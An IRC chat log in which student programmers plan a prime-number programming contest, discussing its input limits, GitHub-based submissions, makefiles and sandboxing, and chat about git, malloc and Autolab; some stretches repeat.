[2015-02-24T12:56:09-0500] <JacobEdelman_> you're right
[2015-02-24T12:56:10-0500] <+awe> Pick one.
[2015-02-24T12:56:20-0500] <JacobEdelman_> fine, 32 bit integer is right
[2015-02-24T12:56:26-0500] <+awe> Sieve of Erastothenes will take like > 1 TB
[2015-02-24T12:57:07-0500] <+awe> The memory-efficient one that's name I can't remember will take all eternity to calculate.
[2015-02-24T13:13:43-0500] <JacobEdelman_> wow
[2015-02-24T13:13:45-0500] <JacobEdelman_> yeah
[2015-02-24T13:13:56-0500] <JacobEdelman_> I badly calculated prime calculations algorithmic complexity
[2015-02-24T13:14:02-0500] <JacobEdelman_> very badly
[2015-02-24T14:05:29-0500] <JacobEdelman_> nezorg: do sctf
[2015-02-24T15:26:30-0500] <Hyper> Ok, here's the new rule (and this probably works in y'alls favor). The value of the prime I will ask for will be < 2^32
[2015-02-24T15:26:35-0500] <Hyper> so you can fit it in an int
[2015-02-24T15:31:35-0500] <+awe> so n will be < 2^32?
[2015-02-24T15:31:40-0500] <+awe> or the nth prime will be less than 2^32
[2015-02-24T15:40:48-0500] <Hyper> awe: P(n) < 2^32
[2015-02-24T15:41:15-0500] <Hyper> also I just finished my "be a cheaty-cheater and evaluate at compile time" solution, so yay
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[2015-02-24T18:02:50-0500] <+awe> JacobEdelman_: I made my HTTP daemon support GET requests too.
[2015-02-24T18:05:21-0500] <JacobEdelman_> awe: cool
[2015-02-24T18:05:39-0500] <+awe> So, yeah, if you do http 127.0.0.1 4000 echo "42"
[2015-02-24T18:05:46-0500] <+awe> GET requests will also give you 42.
[2015-02-24T18:05:47-0500] <JacobEdelman_> yeah!
[2015-02-24T18:06:01-0500] <+awe> GET is mostly useless because something running as a get service only has looking at H-CLIENT as an option.
[2015-02-24T18:06:06-0500] <+awe> or H-URI.
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[2015-02-24T19:48:12-0500] <Hyper> awe: can I haz repo under the pdgn org called programming-competitions?
[2015-02-24T19:52:22-0500] <+awe> Hyper: yeah, sure.
[2015-02-24T19:52:31-0500] <Hyper> cool
[2015-02-24T19:52:45-0500] <Hyper> I'm gonna put the rules and a sample implementation in D up
[2015-02-24T19:56:35-0500] <Hyper> awe: ty
[2015-02-24T19:56:37-0500] <+awe> Okay, I made a community core team.
[2015-02-24T19:56:57-0500] <+awe> hardmath123 is my back-up as an owner for the Pdgn GH.
[2015-02-24T19:57:06-0500] <+awe> And I invited you and JacobEdelman_ to the community core tema.
[2015-02-24T19:57:25-0500] <JacobEdelman_> okay
[2015-02-24T19:57:26-0500] <+awe> The only permissions difference is that hardmath123 can add people to said team, and can also make changes to the site.
[2015-02-24T19:57:30-0500] <JacobEdelman_> also
[2015-02-24T19:58:18-0500] <JacobEdelman_> Hyper: would you be insterested in having a few hundred hs students do your contest?
[2015-02-24T19:58:26-0500] <JacobEdelman_> and somehow affilating the contest with hscs?
[2015-02-24T19:58:30-0500] <Hyper> JacobEdelman_: umum
[2015-02-24T19:58:35-0500] <Hyper> not this oneeeee
[2015-02-24T19:58:38-0500] <Hyper> maybe the next
[2015-02-24T19:58:42-0500] <JacobEdelman_> okay
[2015-02-24T19:58:45-0500] <JacobEdelman_> awe: also
[2015-02-24T19:58:52-0500] <+awe> Yes?
[2015-02-24T19:58:56-0500] <Hyper> I'm busy and this is probably gonna end up being me manually running the entries
[2015-02-24T19:59:02-0500] <JacobEdelman_> pdgn still uses<10% of a DO instance
[2015-02-24T19:59:03-0500] <Hyper> I'll do an automated system later
[2015-02-24T19:59:12-0500] <JacobEdelman_> Hyper: there exist automated services... 
[2015-02-24T19:59:15-0500] <JacobEdelman_> like the usaco one
[2015-02-24T19:59:20-0500] <+awe> Pdgn uses roughly 10% of two DO instances, actually.
[2015-02-24T19:59:24-0500] <JacobEdelman_> oh
[2015-02-24T19:59:30-0500] <JacobEdelman_> okay, thats actually a reasonable amount than
[2015-02-24T19:59:31-0500] <+awe> But why?
[2015-02-24T19:59:35-0500] <JacobEdelman_> cause
[2015-02-24T19:59:39-0500] <JacobEdelman_> now that hscs.io
[2015-02-24T19:59:43-0500] <JacobEdelman_> will have a server for a year
[2015-02-24T19:59:45-0500] <JacobEdelman_> we can share it
[2015-02-24T19:59:51-0500] <+awe> Can share what?
[2015-02-24T19:59:54-0500] <JacobEdelman_> it can
[2015-02-24T19:59:57-0500] <JacobEdelman_> host pdgn
[2015-02-24T19:59:59-0500] <JacobEdelman_> is what I meant
[2015-02-24T20:00:07-0500] <JacobEdelman_> I mean, it won't be doing anything otherwise
[2015-02-24T20:00:17-0500] <JacobEdelman_> so if you want to replace one of the pdgn instances with it, that would be fine
[2015-02-24T20:00:21-0500] <+awe> I don't.
[2015-02-24T20:00:30-0500] <+awe> Read the last section of the pdgn.co site again.
[2015-02-24T20:00:31-0500] <JacobEdelman_> wny not?
[2015-02-24T20:00:34-0500] <+awe> See above.
[2015-02-24T20:00:43-0500] <+awe> "Pdgn is currently operated solely by its founder, Aaron Weiss. This means that there's absolutely no administrative bureaucracy of any sort, and there's only one person that you have to trust to keep the network values uncompromised."
[2015-02-24T20:00:50-0500] <JacobEdelman_> uhg, fine
[2015-02-24T20:01:06-0500] <+awe> I will happily accept the support of hscs.io in the form of cash money.
[2015-02-24T20:01:46-0500] <+awe> However, accepting a donation does not entitle you to anything at all.
[2015-02-24T20:01:51-0500] <+awe> You won't even get my gratitude for donating. :)
[2015-02-24T20:01:58-0500] <Hyper> okie dokie, pushed some stuffs
[2015-02-24T20:02:30-0500] <+awe> Hyper: ...
[2015-02-24T20:02:32-0500] <+awe> Hyper: you included a binary.
[2015-02-24T20:02:37-0500] <Hyper> I did?
[2015-02-24T20:02:38-0500] <Hyper> SHIT
[2015-02-24T20:02:48-0500] <+awe> redo the whole repo
[2015-02-24T20:02:48-0500] <+awe> lol
[2015-02-24T20:02:52-0500] <Hyper> q.q
[2015-02-24T20:03:03-0500] <+awe> Otherwise it will be in the deltas forever.
[2015-02-24T20:03:16-0500] <+awe> And we'll have to download an extra MB for no reason.
[2015-02-24T20:03:30-0500] <Hyper> awe: well I git rm'd it
[2015-02-24T20:03:39-0500] <Hyper> I don't know how to expunge it :(
[2015-02-24T20:03:41-0500] <+awe> But the delta of the deletion would still be there.
[2015-02-24T20:03:46-0500] <Hyper> yeah I know
[2015-02-24T20:03:56-0500] <Hyper> again, no idea how to expunge it
[2015-02-24T20:04:03-0500] <bob_twinkles> Hyper: amend the commits and force push
[2015-02-24T20:04:05-0500] <+awe> You added it during the uhh
[2015-02-24T20:04:14-0500] <+awe> move everything into a directory commit
[2015-02-24T20:04:19-0500] <+awe> you could rebase
[2015-02-24T20:04:22-0500] <Hyper> ugh
[2015-02-24T20:04:22-0500] <+awe> and then redo that commit :)
[2015-02-24T20:04:33-0500] <bob_twinkles> it'll screw the commit times on anything involving that binary though
[2015-02-24T20:05:02-0500] <+awe> bob_twinkles: history isn't very important for a repository that's five minutes old :p
[2015-02-24T20:05:08-0500] <bob_twinkles> oh lol
[2015-02-24T20:05:30-0500] <Hyper> I'm just gonna overwrite the whole repo lol
[2015-02-24T20:05:33-0500] <+awe> Yeah, that's fine.
[2015-02-24T20:05:39-0500] <+awe> That's honestly easier at this point.
[2015-02-24T20:05:42-0500] <bob_twinkles> at 5 minutes old... probably not terrible =P
[2015-02-24T20:05:45-0500] <+awe> Yeah.
[2015-02-24T20:05:50-0500] <+awe> https://github.com/Pdgn/programming-competitions
[2015-02-24T20:06:08-0500] • awe: I am now following you on GH, bob_twinkles.
[2015-02-24T20:06:16-0500] <bob_twinkles> goodie?
[2015-02-24T20:06:38-0500] <bob_twinkles>  gregnwosu | poll: if you use vim/emacs how do you refactor?
[2015-02-24T20:06:41-0500] <bob_twinkles>     benzrf | i dont refactor, cause i dont write actual code
[2015-02-24T20:06:45-0500] <bob_twinkles> -- #haskell on freenode
[2015-02-24T20:06:51-0500] <+awe> lol
[2015-02-24T20:09:14-0500] <+awe> I put my 0.02 in.
[2015-02-24T20:09:21-0500] <+awe> Which is basically that I refactor by copy pasta.
[2015-02-24T20:09:32-0500] <+awe> I'm probably the weirdest vim user on earth.
[2015-02-24T20:09:34-0500] <grantwu> You guys should use autolab!
[2015-02-24T20:09:49-0500] <grantwu> Even though it's really shitty!
[2015-02-24T20:09:56-0500] <grantwu> But the #potential is there
[2015-02-24T20:10:43-0500] <+awe> I wonder what the one we use here at UMass is.
[2015-02-24T20:11:22-0500] <+awe> grantwu: I like that it has a scoreboard.
[2015-02-24T20:11:36-0500] <+awe> grantwu: I like the idea of making everyone in my class feel inferior.
[2015-02-24T20:11:54-0500] <grantwu> ...
[2015-02-24T20:12:19-0500] <+awe> That was only 50% a joke.
[2015-02-24T20:12:21-0500] <+awe> Maybe 40%.
[2015-02-24T20:12:29-0500] <grantwu> -_-
[2015-02-24T20:12:35-0500] <grantwu> Scoreboard can be turned off and often is
[2015-02-24T20:12:44-0500] <+awe> I'm not very competitive. I just like knowing that I'm better than people.
[2015-02-24T20:12:53-0500] <+awe> That is, seeing people hire than me just makes me go "Eh."
[2015-02-24T20:12:56-0500] <+awe> higher*
[2015-02-24T20:13:07-0500] <+awe> But I like knowing that I'm better than everyone else.
[2015-02-24T20:13:52-0500] <grantwu> I suppose that's good for your mental health
[2015-02-24T20:14:25-0500] <+awe> Oh, it is. I'd rip myself to pieces if I cared about those three guys who didn't make a tiny mistake on my probability exam.
[2015-02-24T20:15:56-0500] <grantwu> For the systems class there
[2015-02-24T20:16:04-0500] <grantwu> Undergrads take it alongside PhDs .-.
[2015-02-24T20:16:18-0500] <JacobEdelman_> also
[2015-02-24T20:16:22-0500] <JacobEdelman_> based on my research
[2015-02-24T20:16:24-0500] <grantwu> Some of them get impossibly low scores (lower operation counts used) because they've done years of circuit layout work
[2015-02-24T20:16:25-0500] <JacobEdelman_> I do not think
[2015-02-24T20:16:28-0500] <JacobEdelman_> primes less than 2**32
[2015-02-24T20:16:31-0500] <JacobEdelman_> are large enough
[2015-02-24T20:16:34-0500] <JacobEdelman_> enough to 
[2015-02-24T20:16:40-0500] <JacobEdelman_> *not large enough
[2015-02-24T20:16:46-0500] <JacobEdelman_> to tell programs apart well
[2015-02-24T20:16:47-0500] <grantwu> Another person implemented malloc with constant overhead using modular arithmetic, somehow
[2015-02-24T20:16:48-0500] <JacobEdelman_> aka
[2015-02-24T20:16:51-0500] <JacobEdelman_> it will be too fast
[2015-02-24T20:17:24-0500] <bob_twinkles> grantwu: constant with respect to what?
[2015-02-24T20:17:33-0500] <grantwu> size of heap?
[2015-02-24T20:18:10-0500] <grantwu> O(1) memory overhead with respect to size of heap
[2015-02-24T20:18:19-0500] <grantwu> Also number of calls to malloc
[2015-02-24T20:18:21-0500] <grantwu> I think
[2015-02-24T20:18:55-0500] <bob_twinkles> hmmmm
[2015-02-24T20:19:08-0500] <bob_twinkles> that's not hard if you're not under much memory pressure
[2015-02-24T20:19:20-0500] <grantwu> I'm not aware how rigorous the tests are
[2015-02-24T20:19:45-0500] <grantwu> Probably fairly hard considering that he got an 100 on the assignment.
[2015-02-24T20:20:12-0500] <grantwu> Every semester that someone gets an 100, the req'd performance for certain grades goes up
[2015-02-24T20:20:38-0500] <bob_twinkles> heh
[2015-02-24T20:20:45-0500] <bob_twinkles> that sounds like a fun class to take
[2015-02-24T20:20:48-0500] <grantwu> Also how would you do it, then?
[2015-02-24T20:21:47-0500] <bob_twinkles> allocate in fixed-size blocks
[2015-02-24T20:22:12-0500] <bob_twinkles> so you allocate in say 4k blocks no matter how much memory was actually requested
[2015-02-24T20:22:35-0500] <bob_twinkles> i.e. a 2 byte malloc request would get 4k, but a 4.1k request would give you 8k
[2015-02-24T20:23:02-0500] <bob_twinkles> or.... hmm
[2015-02-24T20:23:23-0500] <bob_twinkles> yeah, nevermind that's dumb
[2015-02-24T20:24:12-0500] <grantwu> ...isn't that overhead?
[2015-02-24T20:24:21-0500] <bob_twinkles> oh, memory overhead
[2015-02-24T20:24:29-0500] <bob_twinkles> I was thinking computational overhead
[2015-02-24T20:24:34-0500] <bob_twinkles> reading is hard
[2015-02-24T20:24:38-0500] <grantwu> life is hard
[2015-02-24T20:24:42-0500] <bob_twinkles> indeed
[2015-02-24T20:24:56-0500] <grantwu> TA just basically told me not to worry about why the compiler complains
[2015-02-24T20:24:58-0500] <grantwu> crie
[2015-02-24T20:25:10-0500] <bob_twinkles> heh
[2015-02-24T20:25:23-0500] <bob_twinkles> ummm O(1) memory overhead on the size of the heap?
[2015-02-24T20:25:28-0500] <grantwu> something like that
[2015-02-24T20:25:30-0500] <grantwu> something absurd
[2015-02-24T20:25:37-0500] <grantwu> I'm not completely familiar with what he did
[2015-02-24T20:25:48-0500] <grantwu> taking course next semester
[2015-02-24T20:25:50-0500] <bob_twinkles> I mean, I have a writeup somewhere around here about how the glibc allocator works...
[2015-02-24T20:26:06-0500] <grantwu> glibc uses more overhead
[2015-02-24T20:26:13-0500] <grantwu> However the tests are... restricted
[2015-02-24T20:26:25-0500] <grantwu> So glibc performs better on real world tests
[2015-02-24T20:26:26-0500] <bob_twinkles> it's basically a linked list of free blocks with some clever binning/sorting things to make repeated allocs of the same size faster
[2015-02-24T20:27:04-0500] <bob_twinkles> heh, makes sense
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[2015-02-24T20:16:18-0500] <JacobEdelman_> also
[2015-02-24T20:16:22-0500] <JacobEdelman_> based on my research
[2015-02-24T20:16:24-0500] <grantwu> Some of them get impossibly low scores (lower operation counts used) because they've done years of circuit layout work
[2015-02-24T20:16:25-0500] <JacobEdelman_> I do not think
[2015-02-24T20:16:28-0500] <JacobEdelman_> primes less than 2**32
[2015-02-24T20:16:31-0500] <JacobEdelman_> are large enough
[2015-02-24T20:16:34-0500] <JacobEdelman_> enough to 
[2015-02-24T20:16:40-0500] <JacobEdelman_> *not large enough
[2015-02-24T20:16:46-0500] <JacobEdelman_> to tell programs apart well
[2015-02-24T20:16:47-0500] <grantwu> Another person implemented malloc with constant overhead using modular arithmetic, somehow
[2015-02-24T20:16:48-0500] <JacobEdelman_> aka
[2015-02-24T20:16:51-0500] <JacobEdelman_> it will be too fast
[2015-02-24T20:17:24-0500] <bob_twinkles> grantwu: constant with respect to what?
[2015-02-24T20:17:33-0500] <grantwu> size of heap?
[2015-02-24T20:18:10-0500] <grantwu> O(1) memory overhead with respect to size of heap
[2015-02-24T20:18:19-0500] <grantwu> Also number of calls to malloc
[2015-02-24T20:18:21-0500] <grantwu> I think
[2015-02-24T20:18:55-0500] <bob_twinkles> hmmmm
[2015-02-24T20:19:08-0500] <bob_twinkles> that's not hard if you're not under much memory pressure
[2015-02-24T20:19:20-0500] <grantwu> I'm not aware how rigorous the tests are
[2015-02-24T20:19:45-0500] <grantwu> Probably fairly hard considering that he got an 100 on the assignment.
[2015-02-24T20:20:12-0500] <grantwu> Every semester that someone gets an 100, the req'd performance for certain grades goes up
[2015-02-24T20:20:38-0500] <bob_twinkles> heh
[2015-02-24T20:20:45-0500] <bob_twinkles> that sounds like a fun class to take
[2015-02-24T20:20:48-0500] <grantwu> Also how would you do it, then?
[2015-02-24T20:21:47-0500] <bob_twinkles> allocate in fixed-size blocks
[2015-02-24T20:22:12-0500] <bob_twinkles> so you allocate in say 4k blocks no matter how much memory was actually requested
[2015-02-24T20:22:35-0500] <bob_twinkles> i.e. a 2 byte malloc request would get 4k, but a 4.1k request would give you 8k
[2015-02-24T20:23:02-0500] <bob_twinkles> or.... hmm
[2015-02-24T20:23:23-0500] <bob_twinkles> yeah, nevermind that's dumb
[2015-02-24T20:24:12-0500] <grantwu> ...isn't that overhead?
[2015-02-24T20:24:21-0500] <bob_twinkles> oh, memory overhead
[2015-02-24T20:24:29-0500] <bob_twinkles> I was thinking computational overhead
[2015-02-24T20:24:34-0500] <bob_twinkles> reading is hard
[2015-02-24T20:24:38-0500] <grantwu> life is hard
[2015-02-24T20:24:42-0500] <bob_twinkles> indeed
[2015-02-24T20:24:56-0500] <grantwu> TA just basically told me not to worry about why the compiler complains
[2015-02-24T20:24:58-0500] <grantwu> crie
[2015-02-24T20:25:10-0500] <bob_twinkles> heh
[2015-02-24T20:25:23-0500] <bob_twinkles> ummm O(1) memory overhead on the size of the heap?
[2015-02-24T20:25:28-0500] <grantwu> something like that
[2015-02-24T20:25:30-0500] <grantwu> something absurd
[2015-02-24T20:25:37-0500] <grantwu> I'm not completely familiar with what he did
[2015-02-24T20:25:48-0500] <grantwu> taking course next semester
[2015-02-24T20:25:50-0500] <bob_twinkles> I mean, I have a writeup somewhere around here about how the glibc allocator works...
[2015-02-24T20:26:06-0500] <grantwu> glibc uses more overhead
[2015-02-24T20:26:13-0500] <grantwu> However the tests are... restricted
[2015-02-24T20:26:25-0500] <grantwu> So glibc performs better on real world tests
[2015-02-24T20:26:26-0500] <bob_twinkles> it's basically a linked list of free blocks with some clever binning/sorting things to make repeated allocs of the same size faster
[2015-02-24T20:26:57-0500] <bob_twinkles> heh, makes sense
[2015-02-24T20:27:53-0500] Mode is +nt
[2015-02-24T20:49:21-0500] <+awe> JacobEdelman_: your'e wrong.
[2015-02-24T20:49:31-0500] <JacobEdelman_> about what?
[2015-02-24T20:49:37-0500] <+awe> [20:16:25]  <JacobEdelman_>	I do not think
[2015-02-24T20:49:37-0500] <+awe> [20:16:28]  <JacobEdelman_>	primes less than 2**32
[2015-02-24T20:49:37-0500] <+awe> [20:16:31]  <JacobEdelman_>	are large enough
[2015-02-24T20:49:37-0500] <+awe> [20:16:34]  <JacobEdelman_>	enough to
[2015-02-24T20:49:37-0500] <+awe> [20:16:40]  <JacobEdelman_>	*not large enough
[2015-02-24T20:49:44-0500] <Hyper> awe: http://i.imgur.com/thiczQz.png
[2015-02-24T20:49:45-0500] <JacobEdelman_> yup
[2015-02-24T20:49:52-0500] <Hyper> D confirmed official language of pdgn
[2015-02-24T20:49:56-0500] <+awe> lol
[2015-02-24T20:52:35-0500] <+awe> Hyper: at least it's not python.
[2015-02-24T20:55:58-0500] <grantwu> I vote for ARMv8 assembler
[2015-02-24T20:56:07-0500] <grantwu> jk
[2015-02-24T20:58:52-0500] <ubuntor> hm, we should have an esolang competition
[2015-02-24T21:00:38-0500] <bob_twinkles> creation of or programming in?
[2015-02-24T21:02:33-0500] <ubuntor> programming in
[2015-02-24T21:06:46-0500] <+awe> inb4 iota
[2015-02-24T21:11:02-0500] <ubuntor> subleq
[2015-02-24T22:07:53-0500] <hardmath123> Hyper: wow Stuyvesant had "Systems Level Programming and Nerd Culture 1"
[2015-02-24T22:07:59-0500] <hardmath123> that sounds glorious
[2015-02-24T22:16:43-0500] <Hyper> hardmath123: the nerd culture really isn't in there
[2015-02-24T22:17:02-0500] <hardmath123> Oh.
[2015-02-24T22:17:04-0500] <Hyper> the teacher makes monty python jokes sometimes and the lesson on files is taught as swedish chef
[2015-02-24T22:17:07-0500] <Hyper> which is funny
[2015-02-24T22:17:07-0500] <hardmath123> So Jargon Files isn't required reading?
[2015-02-24T22:17:12-0500] <Hyper> nope :(
[2015-02-24T22:17:14-0500] <hardmath123> Laaaaame.
[2015-02-24T22:17:53-0500] <Hyper> It's a good course though!
[2015-02-24T22:18:04-0500] <Hyper> all our cs courses are pretty good :)
[2015-02-24T22:24:26-0500] <Hyper> JacobEdelman_: You're wrong
[2015-02-24T22:25:01-0500] <Hyper> I haven't seen one that can get the 2 millionth prime in less than about .3s, and we're able to go quite a bit higher in our test
[2015-02-24T22:25:22-0500] <Hyper> this is on a relatively weak machine ,which is also what we'll be using for the competition
[2015-02-24T22:26:01-0500] <Hyper> also, those were all written by students in only C, so you can probably get much better
[2015-02-24T22:26:29-0500] <Hyper> If they're too fast, I'll give them multiple runs.
[2015-02-24T22:27:34-0500] <+awe> Hyper: I already told him he's wrong
[2015-02-24T22:32:04-0500] <+awe> Hyper: if you did like 10mth prime, it'd be fine
[2015-02-24T22:35:35-0500] <Hyper> so the way I'm probably gonna do submissions is that you open a pull req on the programming challenges repo adding your submission as a submodule or something
[2015-02-24T22:36:00-0500] <hardmath123> Why not issues?
[2015-02-24T22:36:09-0500] <hardmath123> Open an issue for each submission.
[2015-02-24T22:36:19-0500] <Hyper> because it's easier for me to git submodule update than it is for me to go through each submission :P
[2015-02-24T22:36:21-0500] <hardmath123> That lets you maintain a discussion for each submission, classify them, etc.
[2015-02-24T22:36:29-0500] <Hyper> hrm
[2015-02-24T22:36:43-0500] <Hyper> sure, that sounds fine
[2015-02-24T22:37:16-0500] <Hyper> before the next competition I'll try to make an automated submission & testing system lol
[2015-02-24T22:37:19-0500] <grantwu> Anyone here have six pack ABS https://bootsindustries.com/shop/super-premium-1-75-mm-abs-the-six-pack-6-x-1-kg/
[2015-02-24T22:37:28-0500] <grantwu> Hyper: use autolabbbb
[2015-02-24T22:37:46-0500] <hardmath123> lol use Travis or something to run correctness tests automagically
[2015-02-24T22:37:57-0500] <+awe> Hyper: why not just PR and add it in?
[2015-02-24T22:38:13-0500] <Hyper> awe: hmm?
[2015-02-24T22:38:19-0500] <+awe> Like, not as a submodule.
[2015-02-24T22:38:20-0500] <+awe> Just add it.
[2015-02-24T22:38:27-0500] <+awe> I don't want to make a repo for each submission.
[2015-02-24T22:38:42-0500] <Hyper> no, the repos would be under the user's github account
[2015-02-24T22:39:00-0500] <+awe> Yeah, I know.
[2015-02-24T22:39:02-0500] <+awe> I don't want to do that.
[2015-02-24T22:39:10-0500] <Hyper> ah
[2015-02-24T22:39:11-0500] <Hyper> hrm
[2015-02-24T22:39:37-0500] <Hyper> they need to be somewhere, and I don't like the idea of everyone committing to a central repo :|
[2015-02-24T22:39:53-0500] <+awe> But it's a single file program. .-.
[2015-02-24T22:40:10-0500] <Hyper> I also want people to provide a makefile that deals with the running and stuff
[2015-02-24T22:40:28-0500] <Hyper> and installation (under a ubuntu system)
[2015-02-24T22:40:38-0500] <grantwu> Installation? hwat
[2015-02-24T22:40:44-0500] <+awe> so, for me, rustup + cargo run?
[2015-02-24T22:40:45-0500] <Hyper> grantwu: any dependencies
[2015-02-24T22:40:46-0500] <Hyper> yeah
[2015-02-24T22:40:48-0500] <Hyper> exactly
[2015-02-24T22:41:00-0500] <grantwu> Can't people just build a binary
[2015-02-24T22:41:02-0500] <Hyper> so I can just say make install, make compile, make run
[2015-02-24T22:41:17-0500] <+awe> grantwu: cheating potential?
[2015-02-24T22:41:22-0500] <grantwu> eh true...
[2015-02-24T22:41:30-0500] <grantwu> determinstic build is hard...
[2015-02-24T22:41:57-0500] <Hyper> also i'd like the sources to be out there so we can see what winning strategies used
[2015-02-24T22:42:09-0500] <Hyper> :)
[2015-02-24T22:42:57-0500] <grantwu> hue
[2015-02-24T22:43:12-0500] <grantwu> what if someone has a makefile which uninstalls gcc or something
[2015-02-24T22:43:17-0500] <grantwu> to screw over other people
[2015-02-24T22:43:28-0500] <Hyper> I'll disqualify them and spin up a new droplet.
[2015-02-24T22:43:37-0500] <grantwu> What's a droplet?
[2015-02-24T22:43:43-0500] <bob_twinkles> this is why we don't build as root
[2015-02-24T22:43:45-0500] <Hyper> digital ocean server instance
[2015-02-24T22:43:47-0500] <grantwu> nvm
[2015-02-24T22:43:49-0500] <grantwu> yeah
[2015-02-24T22:44:23-0500] <Hyper> also I'll give the makefiles a once-over for anything obviously suspicious :)
[2015-02-24T22:44:31-0500] <grantwu> orrrr you could use Autolab which automatically sandboxes everything!
[2015-02-24T22:46:11-0500] <Hyper> grantwu: but that takes setuuuuup
[2015-02-24T22:46:15-0500] <grantwu> :C
[2015-02-24T22:46:27-0500] <grantwu> Tbh, don't use Autolab
[2015-02-24T22:46:49-0500] <Hyper> lol
[2015-02-24T22:46:53-0500] <grantwu> It underwent a complete rewrite over winter break... so lots of stuff keeps on breaking
[2015-02-24T22:47:17-0500] <grantwu> Basically the original maintainers are graduating... so it needed to be rewritten to be "open-sourcey" whatever the hell that means
[2015-02-24T22:47:51-0500] <grantwu> All I know is that strange bugs happen often and we TAs are left explaining stuff to students...
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[2015-02-24T22:36:29-0500] <Hyper> hrm
[2015-02-24T22:36:43-0500] <Hyper> sure, that sounds fine
[2015-02-24T22:37:16-0500] <Hyper> before the next competition I'll try to make an automated submission & testing system lol
[2015-02-24T22:37:19-0500] <grantwu> Anyone here have six pack ABS https://bootsindustries.com/shop/super-premium-1-75-mm-abs-the-six-pack-6-x-1-kg/
[2015-02-24T22:37:28-0500] <grantwu> Hyper: use autolabbbb
[2015-02-24T22:37:46-0500] <hardmath123> lol use Travis or something to run correctness tests automagically
[2015-02-24T22:37:57-0500] <+awe> Hyper: why not just PR and add it in?
[2015-02-24T22:38:13-0500] <Hyper> awe: hmm?
[2015-02-24T22:38:19-0500] <+awe> Like, not as a submodule.
[2015-02-24T22:38:20-0500] <+awe> Just add it.
[2015-02-24T22:38:27-0500] <+awe> I don't want to make a repo for each submission.
[2015-02-24T22:38:42-0500] <Hyper> no, the repos would be under the user's github account
[2015-02-24T22:39:00-0500] <+awe> Yeah, I know.
[2015-02-24T22:39:02-0500] <+awe> I don't want to do that.
[2015-02-24T22:39:10-0500] <Hyper> ah
[2015-02-24T22:39:11-0500] <Hyper> hrm
[2015-02-24T22:39:37-0500] <Hyper> they need to be somewhere, and I don't like the idea of everyone committing to a central repo :|
[2015-02-24T22:39:53-0500] <+awe> But it's a single file program. .-.
[2015-02-24T22:40:10-0500] <Hyper> I also want people to provide a makefile that deals with the running and stuff
[2015-02-24T22:40:28-0500] <Hyper> and installation (under a ubuntu system)
[2015-02-24T22:40:38-0500] <grantwu> Installation? hwat
[2015-02-24T22:40:44-0500] <+awe> so, for me, rustup + cargo run?
[2015-02-24T22:40:44-0500] <Hyper> grantwu: any dependencies
[2015-02-24T22:40:46-0500] <Hyper> yeah
[2015-02-24T22:40:48-0500] <Hyper> exactly
[2015-02-24T22:41:00-0500] <grantwu> Can't people just build a binary
[2015-02-24T22:41:02-0500] <Hyper> so I can just say make install, make compile, make run
[2015-02-24T22:41:17-0500] <+awe> grantwu: cheating potential?
[2015-02-24T22:41:22-0500] <grantwu> eh true...
[2015-02-24T22:41:30-0500] <grantwu> determinstic build is hard...
[2015-02-24T22:41:57-0500] <Hyper> also i'd like the sources to be out there so we can see what winning strategies used
[2015-02-24T22:42:09-0500] <Hyper> :)
[2015-02-24T22:42:57-0500] <grantwu> hue
[2015-02-24T22:43:12-0500] <grantwu> what if someone has a makefile which uninstalls gcc or something
[2015-02-24T22:43:17-0500] <grantwu> to screw over other people
[2015-02-24T22:43:28-0500] <Hyper> I'll disqualify them and spin up a new droplet.
[2015-02-24T22:43:36-0500] <grantwu> What's a droplet?
[2015-02-24T22:43:43-0500] <bob_twinkles> this is why we don't build as root
[2015-02-24T22:43:45-0500] <Hyper> digital ocean server instance
[2015-02-24T22:43:47-0500] <grantwu> nvm
[2015-02-24T22:43:49-0500] <grantwu> yeah
[2015-02-24T22:44:23-0500] <Hyper> also I'll give the makefiles a once-over for anything obviously suspicious :)
[2015-02-24T22:44:31-0500] <grantwu> orrrr you could use Autolab which automatically sandboxes everything!
[2015-02-24T22:46:11-0500] <Hyper> grantwu: but that takes setuuuuup
[2015-02-24T22:46:15-0500] <grantwu> :C
[2015-02-24T22:46:27-0500] <grantwu> Tbh, don't use Autolab
[2015-02-24T22:46:49-0500] <Hyper> lol
[2015-02-24T22:46:53-0500] <grantwu> It underwent a complete rewrite over winter break... so lots of stuff keeps on breaking
[2015-02-24T22:47:17-0500] <grantwu> Basically the original maintainers are graduating... so it needed to be rewritten to be "open-sourcey" whatever the hell that means
[2015-02-24T22:47:51-0500] <grantwu> All I know is that strange bugs happen often and we TAs are left explaining stuff to students...
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[2015-02-24T22:36:29-0500] <Hyper> hrm
[2015-02-24T22:36:43-0500] <Hyper> sure, that sounds fine
[2015-02-24T22:37:16-0500] <Hyper> before the next competition I'll try to make an automated submission & testing system lol
[2015-02-24T22:37:19-0500] <grantwu> Anyone here have six pack ABS https://bootsindustries.com/shop/super-premium-1-75-mm-abs-the-six-pack-6-x-1-kg/
[2015-02-24T22:37:28-0500] <grantwu> Hyper: use autolabbbb
[2015-02-24T22:37:46-0500] <hardmath123> lol use Travis or something to run correctness tests automagically
[2015-02-24T22:37:57-0500] <+awe> Hyper: why not just PR and add it in?
[2015-02-24T22:38:13-0500] <Hyper> awe: hmm?
[2015-02-24T22:38:19-0500] <+awe> Like, not as a submodule.
[2015-02-24T22:38:20-0500] <+awe> Just add it.
[2015-02-24T22:38:27-0500] <+awe> I don't want to make a repo for each submission.
[2015-02-24T22:38:42-0500] <Hyper> no, the repos would be under the user's github account
[2015-02-24T22:39:00-0500] <+awe> Yeah, I know.
[2015-02-24T22:39:02-0500] <+awe> I don't want to do that.
[2015-02-24T22:39:10-0500] <Hyper> ah
[2015-02-24T22:39:11-0500] <Hyper> hrm
[2015-02-24T22:39:37-0500] <Hyper> they need to be somewhere, and I don't like the idea of everyone committing to a central repo :|
[2015-02-24T22:39:53-0500] <+awe> But it's a single file program. .-.
[2015-02-24T22:40:10-0500] <Hyper> I also want people to provide a makefile that deals with the running and stuff
[2015-02-24T22:40:28-0500] <Hyper> and installation (under a ubuntu system)
[2015-02-24T22:40:38-0500] <grantwu> Installation? hwat
[2015-02-24T22:40:44-0500] <+awe> so, for me, rustup + cargo run?
[2015-02-24T22:40:44-0500] <Hyper> grantwu: any dependencies
[2015-02-24T22:40:46-0500] <Hyper> yeah
[2015-02-24T22:40:48-0500] <Hyper> exactly
[2015-02-24T22:41:00-0500] <grantwu> Can't people just build a binary
[2015-02-24T22:41:02-0500] <Hyper> so I can just say make install, make compile, make run
[2015-02-24T22:41:17-0500] <+awe> grantwu: cheating potential?
[2015-02-24T22:41:22-0500] <grantwu> eh true...
[2015-02-24T22:41:30-0500] <grantwu> determinstic build is hard...
